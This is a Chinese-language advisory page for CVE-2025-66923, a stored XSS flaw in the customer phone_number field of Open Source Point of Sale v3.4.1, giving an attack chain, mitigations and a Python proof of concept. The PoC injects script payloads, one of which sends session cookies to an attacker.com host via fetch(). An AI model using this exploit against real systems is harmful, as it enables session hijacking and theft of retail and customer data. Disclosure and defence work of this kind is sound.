IPBUF安全漏洞报告
English
CVE-2025-66923 CVSS 7.2 高危

CVE-2025-66923 Open Source Point of Sale客户电话字段XSS漏洞

披露日期: 2025-12-17

漏洞信息

漏洞编号
CVE-2025-66923
漏洞类型
XSS跨站脚本攻击
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Open Source Point of Sale v3.4.1

相关标签

CVE-2025-66923XSS跨站脚本攻击存储型XSSOpen Source Point of Sale开源销售点系统客户管理模块phone_number参数注入Web应用安全漏洞CVSS 7.2高危漏洞

漏洞概述

CVE-2025-66923是Open Source Point of Sale(开源销售点系统)v3.4.1版本中的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞存在于系统的客户管理功能中,具体位于创建和更新客户信息时的phone_number(电话号码)参数。由于系统未对用户输入进行充分的输入验证和输出编码,攻击者可以在phone_number字段中注入恶意的JavaScript脚本或HTML代码。当其他用户或管理员访问包含该恶意数据的客户列表或详情页面时,注入的脚本将在受害者浏览器中执行,可能导致会话劫持、敏感信息窃取、恶意重定向等安全问题。由于该漏洞需要高权限用户(如管理员)进行操作,但其影响范围可波及所有访问受影响页面的用户,因此被评定为高危漏洞,CVSS评分达到7.2分。

技术细节

该漏洞属于存储型XSS(Stored XSS)漏洞,攻击向量为网络远程攻击。在Open Source Point of Sale v3.4.1的客户管理模块中,当用户通过创建新客户或更新现有客户信息的功能提交phone_number字段时,系统直接将该字段内容存储到数据库中,而未对特殊字符进行HTML实体编码或输入过滤。攻击者可以在phone_number参数中构造恶意Payload,如:<script>alert(document.cookie)</script>或<img src=x onerror=恶意代码>。当管理员或其他用户在后台管理界面查看客户列表或客户详情时,浏览器会解析并执行这些恶意脚本。由于Open Source Point of Sale系统通常用于商业零售环境,其中包含大量敏感的交易和客户数据,攻击者利用此漏洞可以窃取管理员会话Cookie,从而获得系统后台的完全控制权,进而进行数据窃取、篡改交易记录等恶意操作。漏洞的利用需要攻击者具有创建或更新客户信息的高权限,但一旦成功,攻击影响范围广泛,可影响所有访问受影响功能的其他用户。

攻击链分析

STEP 1
步骤1
攻击者获取Open Source Point of Sale系统的高权限账户(管理员或具有客户管理权限的账户)
STEP 2
步骤2
攻击者访问客户管理功能,通过创建新客户或更新现有客户信息的接口
STEP 3
步骤3
在phone_number参数中注入恶意XSS Payload,如<script>alert(document.cookie)</script>
STEP 4
步骤4
系统将包含恶意脚本的phone_number数据直接存储到数据库,未进行输入验证或输出编码
STEP 5
步骤5
当其他用户或管理员访问客户列表、客户详情或相关报表页面时,浏览器解析并执行注入的恶意脚本
STEP 6
步骤6
攻击者通过XSS成功窃取受害者的会话Cookie或执行其他恶意操作,实现会话劫持或数据窃取

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-66923 PoC - Open Source Point of Sale XSS via phone_number # This PoC demonstrates the stored XSS vulnerability in customer phone_number field import requests import json TARGET_URL = "http://target-server/opensourcepos" USERNAME = "admin" PASSWORD = "admin123" def login(session): """Login to Open Source Point of Sale""" login_url = f"{TARGET_URL}/login" data = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, data=data) return "login_success" in response.text def create_customer_with_xss(session): """Create customer with malicious phone_number""" customer_url = f"{TARGET_URL}/customers/save" # XSS Payload in phone_number field xss_payload = '<script>alert(document.cookie)</script>' customer_data = { "first_name": "Test", "last_name": "Customer", "phone_number": xss_payload, # XSS injection point "email": "[email protected]", "address": "Test Address" } response = session.post(customer_url, data=customer_data) return response.status_code == 200 def update_customer_with_xss(session, customer_id): """Update existing customer with malicious phone_number""" update_url = f"{TARGET_URL}/customers/save/{customer_id}" # XSS Payload in phone_number field xss_payload = '<img src=x onerror=fetch("https://attacker.com/steal?c="+document.cookie)>' customer_data = { "first_name": "Updated", "last_name": "Customer", "phone_number": xss_payload, # XSS injection point "email": "[email protected]", "address": "Updated Address" } response = session.post(update_url, data=customer_data) return response.status_code == 200 def main(): session = requests.Session() if login(session): print("[+] Login successful") if create_customer_with_xss(session): print("[+] XSS payload injected via customer creation") print("[+] Payload will execute when viewing customer list/details") # Alternative: Update existing customer # update_customer_with_xss(session, customer_id=1) else: print("[-] Login failed") if __name__ == "__main__": main()

影响范围

Open Source Point of Sale v3.4.1

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1)限制客户管理功能的访问权限,仅允许受信任的管理员操作;2)在Web应用防火墙(WAF)中配置规则,检测并拦截phone_number等字段中的XSS特征字符(如<>、script等标签);3)对数据库中现有的客户phone_number字段进行清理,删除潜在的恶意脚本代码;4)监控访问日志,关注异常的JavaScript执行请求;5)考虑禁用客户管理功能中的电话字段输入,直至完成安全修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表